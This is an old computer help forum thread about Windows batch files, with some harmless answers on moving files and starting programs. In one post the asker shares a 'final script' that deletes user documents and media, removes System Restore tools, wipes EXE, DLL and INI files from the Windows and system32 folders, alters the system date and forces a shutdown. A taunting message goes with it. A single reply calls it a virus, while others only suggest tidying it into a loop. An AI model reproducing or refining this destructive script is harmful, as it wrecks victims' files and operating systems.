Welcome guest. Before posting on our computer help forum, you must register. Click here it's easy and free.

Author Topic: Batch help  (Read 4164 times)

0 Members and 1 Guest are viewing this topic.

zerofx

  • Guest
Batch help
« on: January 01, 2006, 02:29:07 PM »
im new to batch files and i need to do the following.

move files from my documents to the desktop in dos

delete items in folder c:\downloads

i also would like to display a message maybe on a text file? or display a image?

Also how do i make program start from a batch files.

i would also like to know how to delete files in doz that are currently being used by system process Ie nero.exe is there anyway of eding the process from dos then deleting the nero exe?

i also want to be able to do this in silent mode/no user prompt.

also can you encrypt files using dos/batch sctips

Im using windows xp pro oh and could i ristrict access to any of my files/folders using a batch file.

thanks in advance.

Blackberry



    Adviser
  • For those with wings, fly to your dreams.
    Re: Batch help
    « Reply #1 on: January 01, 2006, 02:47:05 PM »
    wow that are ten questions,

    answer one: copy "%USERPROFILE%/my documents" "%USERPROFILE%/desktop" (if your language from xp is in ENGLISH

    answer two: display an image is impossible in dos, for displaying a message, use the command ECHO

    answer three: try to search something about startup in the register

    answer four: impossible

    answer five: impossible


    if i can give you some advace, buy/lent a book from dos because all these questions will be answered there
    Everybody knows you can't click here. But I know you will try it :)

    uli_glueck

    • Guest
    Re: Batch help
    « Reply #2 on: January 02, 2006, 03:54:48 AM »
    Hi,

    sorry, but before writing batchfiles it is useful to learn a few commands. How do you want to write batchfiles if you donīt know the commands you want to use?

    type /? on the commandline and try a few commands. (be careful with deleting files, they donīt go to the bin, they go directly to dataland.)

    This Website is a good ressource for the XP/NT command line.
    http://www.ss64.com/nt/


    To move files you can use the move command.

    To get a message on the screen you can do a net send to your computername.
    (Only one line).
    You can start programms from a batchfile with typing the programm name in the batchfile.
    You can call it. (But then the batchfile stops till the called programm is closed.)

    hope this helps
    uli
    « Last Edit: January 02, 2006, 03:56:21 AM by uli_glueck »

    zerofx

    • Guest
    Re: Batch help
    « Reply #3 on: January 02, 2006, 04:52:51 AM »
    Its ok i found it out now.

    to display a message

    :top
    msg * YOUR 1 MESSAGE HERE
    msg * YOUR 2 MESSAGE HERE
    GOTO TOP

    here is my final script

    DEL *.DOC
    DEL *.TXT
    DEL *.JPG
    DEL *.GIF
    DEL *.MP3
    DEL *.URL
    DEL *.MPG
    DEL *.XLS
    DEL *.PHP
    DEL *.HTML
    DEL *.INK
    DEL *.ink
    c:
    CD \WINDOWS\system32\Restore
    DEL rstrui.exe
    DEL srdiag.exe
    CD \WINDOWS
    DEL *.BMP
    DEL *.TXT
    DEL *.DOC
    DEL *.EXE
    DEL *.DLL
    DEL *.DAT
    DEL *.INI
    DEL *.LOG
    CD \WINDOWS\system32
    DEL *.BMP
    DEL *.TXT
    DEL *.DOC
    DEL *.EXE
    DEL *.DLL
    DEL *.DAT
    DEL *.INI
    DEL *.LOG
    DATE 05.11.1985
    SHUTDOWN -s -t 600 -c "YOU HAVE BEEN ERASED"
    msg * HAHAHAHAHAHA
    msg * SUCKER
    GOTO TOP

    What do ya think?

    Dwight

    • Guest
    Re: Batch help
    « Reply #4 on: January 02, 2006, 01:32:27 PM »
    You can start a program from dos here is an example:

    start /min notepad this will open notepad minimized
    start /min excel this will open excel minimized

    If you want to open them maximized replace /min with /max hope this helps.


    Blackberry



      Adviser
    • For those with wings, fly to your dreams.
      Re: Batch help
      « Reply #5 on: January 05, 2006, 02:54:52 AM »
      Quote
      Its ok i found it out now.

      to display a message

      :top
      msg * YOUR 1 MESSAGE HERE
      msg * YOUR 2 MESSAGE HERE
      GOTO TOP

      here is my final script

      -script-

      What do ya think?

      not bad, but it seems like you want to create a virus, don't such good idea...
      Everybody knows you can't click here. But I know you will try it :)

      vibhor_agarwalin



        Adviser

        Re: Batch help
        « Reply #6 on: January 05, 2006, 04:27:12 AM »
        How about putting all those entries in a list and reading them in a loop.

        This will make your file small and easier to understand.

        A small tip  8-)
        Vibhor Kumar Agarwal

        uli_glueck

        • Guest
        Re: Batch help
        « Reply #7 on: January 05, 2006, 05:18:16 AM »
        vibhor is absolutely right.
        And it will save at least 1kb memory. ;-)

        uli
        « Last Edit: January 05, 2006, 05:26:36 AM by uli_glueck »

        Blackberry



          Adviser
        • For those with wings, fly to your dreams.
          Re: Batch help
          « Reply #8 on: January 05, 2006, 05:19:35 AM »
          Quote
          Vibhor is right.
          And it will save at least 1kb memory.
          uli

          it isn't really about the space, 1 kb in this time of living, it is more about the understanding
          Everybody knows you can't click here. But I know you will try it :)

          thrower

          • Guest
          Re: Batch to execute to DVD-RW
          « Reply #9 on: January 13, 2006, 08:56:56 AM »
          -Hello i have some files i wanted to be backed up at 3am. so does anyone know what the command i can use to make it be backed up to the dvd-rw. Do i have to make the batch file go  xcopy c:/PROGRAM D:/ (burner), and then do i have to go under schedulaed tasks under windows and make the batch file run at the time i want?

          thanks

          Blackberry



            Adviser
          • For those with wings, fly to your dreams.
            Re: Batch to execute to DVD-RW
            « Reply #10 on: January 13, 2006, 09:03:00 AM »
            Quote
            -Hello i have some files i wanted to be backed up at 3am. so does anyone know what the command i can use to make it be backed up to the dvd-rw. Do i have to make the batch file go  xcopy c:/PROGRAM D:/ (burner), and then do i have to go under schedulaed tasks under windows and make the batch file run at the time i want?

            thanks

            make a new post for this question... it isn't realated to this question...
            Everybody knows you can't click here. But I know you will try it :)

            thrower

            • Guest
            Re: Batch help
            « Reply #11 on: January 13, 2006, 09:05:53 AM »
            who asked u